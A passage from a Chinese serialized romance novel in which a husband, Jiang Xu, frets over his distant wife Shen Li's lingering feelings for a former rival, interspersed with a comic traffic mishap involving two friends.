落寞到不敢抬起眼去看她,怕看见阿璃的厌恶。
是从什么时候开始,他在阿璃面前变得这么小心翼翼,这般敏感的呢?
是他误以为阿璃给景和泽的礼物是给他的,在得知真相后和阿璃大吵,说讨厌景和泽,讨厌景和泽出现在他和阿璃的世界里面,讨厌景和泽每次都在阿璃的面前装可怜,居心叵测,想要离间他和阿璃。
结果……结果就是阿璃半个月都不搭理他,频繁出现在阿璃面前用以前的办法各种道歉都没有用。
后来好不容易和好了,阿璃却有些抵触他的触碰。
阿璃的发上有落叶,他伸手拂掉,可还没碰上,阿璃缩了缩身子躲开。
习惯性地想去捏她的脸颊,却被阿璃严肃制止。
江许不甘,可他没有其他办法,
他不想被阿璃讨厌,不想再被阿璃抛弃。
阿璃说他总是穿着西装,建议他平日里换一种风格。
可是他穿上西装,收敛起青春那时的稚嫩,变得不爱笑不爱说话,只不过是想成为阿璃口中的成熟稳重模样。
事实证明,
即使是这样的他,也无法博得阿璃的喜欢。
要是景和泽从来都没出现过该多好。
15. 撒谎.
这不是需要抱歉的事情。
沈璃的心被无形的石头压着,一时间压抑的难受。
是她应该适应现在的身份才对。
沉默片刻,沈璃开口想要缓和当下的氛围,又不知有何可说,于是问出了之前就想问江许的问题:
“你一个人在国外的时候,过的好吗?”
话落,心脏紧跟着皱缩,泛起细细麻麻的疼痛。
一起去国外留学是他们很早之前的约定,甚至那时候江家连公寓的装修都设计好。
美好的幻想不过只是泡影,是她亲手戳破了五彩的泡泡,毁了约定。
“挺好的。”男人低沉的声音轻飘飘的,似从嗓中低喃出声。
江许在撒谎。
那段日子对他而言,一点都不好。
可在开口说话的一瞬间,只留得下三个字:挺好的。
想让自己在她眼里看起来坚强一点,哪怕她也看得出这只是他的伪装罢了。
“嗯,那就好。”
沈璃心里的负担仿佛在这一刻也轻了许多。
的确是过得好的迹象,他不仅完成了优异的学业,在那边第一次尝试自主创业就大获成功,更是接手家中产业后火力全开,成为圈子里的新星。
江许本该就是这样,没有任何事物可以阻挡他,他也不必为任何事物而沉沦,他应该站在最高的山顶毫不吝啬地释放自己的光。
迈巴赫在城市的夜景中如同一条黑色的蟒蛇般穿梭而过,车外城市的喧嚣人群的沸腾仿佛是另外一个世界。
忽而间一个急刹,车体发出响声,轮胎与地面紧紧摩擦,留下一连串痕迹。
“江总,抱歉,我下去看看。”
司机解了安全带,心里盘算着刚才的行车路线,并没有哪里违反规定。
撞上车体的是一辆粉红色的电动车,车头处还绑了个大大的粉色蝴蝶结,电动车因为碰撞而不断发出声响,车前已经有很大破损的灯也闪个不停。
看来是车主没拧好把手,原本在人行路上行驶,不知道怎的冲上了马路,撞了上来。
好在双方都没有人受伤。
什么样的神人能这样开车?
沈璃按下车窗一探究竟,站在车边同司机议论的女人长得高挑,侧面角度看五官精致,偏狐狸系的长相颇有攻击性。
她身穿着灰色的露肩宽松T恤,脚下踩着双白色的运动鞋,手舞足蹈解释着刚才的情况。
“师傅,不好意思。我朋友才学电动车没多久,再加上他本来就笨,刚才没松手就撞上来了。”
“这车子撞了,我们肯定赔,但就是能不能便宜点,我们两没多少钱……”
声音有些耳熟。
沈璃拧了下眉,等到窗外的女人转过身,才发觉——是郁昭。
而站在郁昭身边被骂笨拙沉着脸的男人更为眼熟:
季之礼。
沈璃开门下车,江许也跟着从另一边下来。
沈璃脸上带着笑,走到郁昭旁边,唤了声:“郁昭?”
原本因为单方面激动砍价而涨红脸的郁昭回眸,激动道:
“阿璃!”
郁昭又解释了一遍刚才的情形,并再三表示一定会给出相应的赔偿,只不过可能需要一些时间。
“这就是我给你说的我的初中同学。”郁昭指了指身旁的季之礼,乌黑的长发如同瀑布一般倾泻。
话落,凑到沈璃耳边,低语着说道:“虽然是他的不对,但我这个同学最近穷的吃不起饭没地方住,我给他介绍的那些工作他又不适应……”
后面的话沈璃没有听进去太多,只记得郁昭说的前半句。
视线不自觉移到季之礼身上,上上下下仔细打量了一番,确认自己没有看错人。
穷的吃不起饭,没地方住。
季之礼?
“季……”
沈璃刚出一个字,就被季之礼一个眼神暗示。江许站在他身边,也没有主动说话,甚至拦下了要叫季之礼‘季少爷’的司机,看来是知道些什么。
所以,季之礼在郁昭这儿装穷装可怜?图什么?
“现在啊,也只好我收留他了。”说完一大堆关于季之礼如何可怜的话,郁昭叹了口气,一想到这车的价格,又想起下个星期该交房租的事实,掰掰手指头算了算,觉着可能有一阵子连泡面都吃不起了。
收留。
沈璃抬了下眉,这下知道季之礼在图什么了。
“出来约会?”见沈璃和郁昭走到一边聊得火热,季之礼才开口同江许交谈。
这个时间点两人同时出现,看来是感情升温进入约会阶段了。
江许没否认,唇线依旧绷直,淡淡地应了声:“嗯。”
“那怎么还一副闷闷不乐的样子?”和沈璃的感情越来越好,江许应该高兴才对。
江许低下头,低垂下的睫毛遮住眸子里一闪而过的落寞。
“是我太累了而已。”男人的声音略微沙哑,掀起的眼皮下眸子里映着远处正交谈甚欢的沈璃。
“多相处多约会总归是好的。”说到底,江许和沈璃就是太久没有像这样相处才会显得生疏。
“我知道。”江许何尝不知道这些,可每次想要迈出一步,前方的路上顿时就会长满荆棘,一踏上去,全身都在流血,“我只是怕我做不好,怕她讨厌我。”
比起阿璃的淡漠,江许更害怕她的厌恶。仿佛随时都能够将他从自己的世界里割舍。
像丢掉垃圾一般。
季之礼眯着眼,思考了一会儿搭上江许的肩。
“都是夫妻了,机会还有很多,慢慢来。”
江许低头揉了揉眉心,一旁的司机过来问他车子的事情如何处理。
江许叹了口气,直直地看向季之礼:“当然是季少赔辆新的。”
季之礼略有怨气的眼神下,江许勾了勾唇角,原本的压抑的心情轻松了许多。
季之礼的把柄屡试不爽,江许一本正经地解释:“毕竟那位女士好像还不知道季少爷家车库里多的是这样的车,上个月还提了限量版跑车吧。”
季之礼:“……”
在阐述了自己眼里的季之礼有多么可怜多么需要帮助后,郁昭大喘了口气。
她不是同情心泛滥的人,毕竟自己的身世就已经足够可怜了。但偏偏在季之礼跟前忍不住心软。
总不能让他露宿街头。
“诶阿璃,那位是你丈夫吗?”话题逐渐扯远,郁昭看着前方和季之礼一般高同样英俊却略显冷冽的男人做出了猜测。
她在沈璃的朋友圈里看到过她发结婚证官宣,“和你好般配。”
沈璃点了点头,又听见郁昭问:“你们怎么认识的?”
沈璃如实答:“小时候就认识了。”
“那就是青梅竹马咯!”郁昭调侃道。
认识之初她就知道沈璃是名副其实的千金小姐,那时候听她说结婚了还在担忧对方会不会配不上温柔知性的沈璃。
在名媛圈子里混,真真假假的千金郁昭见得多了,沈璃是她在放下戒备心之后才发现的最没架子最温柔接地气的一个,偶然撞破郁昭是假名媛的事实,在宴会上也体贴地帮她隐瞒。
不然在圈子里基本不交朋友的郁昭也不会和她交友。
四人聚在一块
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儿,郁昭一看见季之礼就有些来气,好看的秀眉拧在了一块儿。
“连个电动车都学不会!”谁家好人屁股还没坐上坐垫就开始拧把手啊!
而且,季之礼也是真会选车撞上去的!撞什么车不好,撞上迈巴赫。
瞟见车上的剐蹭,郁昭只觉得心里在滴血。
沈璃提了两句既然季之礼是郁昭的朋友,那车子补修的事情也就算了。
郁昭平日里虽然有些抠门,但让别人吃亏的事情她做不出来。
“该赔的还是要赔的,就是……”妖艳脸上露出一副恨铁不成钢的表情,“可能得分期付款。”
毕竟季之礼连房租都付不起来和她凑合了。
——
夜深,月亮被蒙上一层轻纱,微弱的月光轻落下,直到窗边的灰色帘子自动关闭合上,月光才被阻隔在外。
轨道灯洒下的白色灯光光影柔和,在灰色系的大理石地板上无声跳跃着,随后忽而间熄灭。
男人伫立在窗边,高挑挺拔的身影略显孤独。
浓密分明的睫毛扑闪垂下,深褐色的眸子里映着残缺的合照。
拇指紧紧压制着照片的一角,连带着掌外一片凸显淡青色。
洋溢的青春气息似乎要从照片中穿透而来,黑色的西装一角被淡紫色绣着蝴蝶的轻纱裙蓬遮住。沈璃的脸上笑容灿烂,妆容淡雅清新,身上穿着手工定制的礼服宛如从天上而来。
而江许就站在她的身边,一切都恰到好处。
视线右移,照片上沈璃的右侧被撕下了大洞,以至于站在她右侧的人脸无从可寻。
可江许却记得很清楚。
喉结轻滚,那双淡漠的眼眸里多了些冷冽,结了层冰霜。
当初拿到毕业照的那一刻,他就想方设法把景和泽的脸从上面弄了下来。
本就不应该出现的,若是没有景和泽,一切都不会变成现在这样,他和阿璃也不会变成这般生疏。
藏在心底里的偏执,江许从不敢让阿璃知道。只好又把从老宅拿来的照片塞进了书柜最隐秘的地方。
上二楼脚步轻轻走进房间,阿璃已经睡下了。
新送来的抱枕似乎很合她的意,即使身子缩成一团也要抱在怀里四肢攀附。
长发倾泻,洗发露的香气淡淡传来,让江许觉得安心。
躺在她的身边,小心翼翼地往阿璃的方向挪了挪也克制地停下。
什么时候,他才能够抱着阿璃睡觉?
他翻了翻身朝向阿璃,修长的手指在她的五官上隔空描绘着。
只可惜,现在连牵手都还不可以。
心酸疼一瞬,像是被提起一块软肉。
一切都有进展,慢慢相处,阿璃总会发现他的好不是吗?
到时候阿璃才会知道,他对她的爱和迷恋远远超出所有人的想象,包括江许自己。
只要……那个人永远不要再出现。
可景和泽还活着……
江许默默拽紧了拳头,一想到这个时候就会感觉全身的血液都开始冰冷。
他害怕,害怕景和泽突然有一天回来,到那时候,阿璃也许也头也不回地离开自己。
闭上眼,只听得见沈璃均匀的呼吸声。
想起季之礼发来的消息,江许怎么也睡不着。
阿璃见的那个人,是个私人侦探。而她想要拜托侦探找谁,答案显而易见。
明明现在阿璃就在他的身边,却仿佛很远,似乎下一秒就会消失。
江许不敢睡,就这么睁开眼睛看着阿璃,听见她在梦中的呢喃:
“和泽。”
“我很想你。”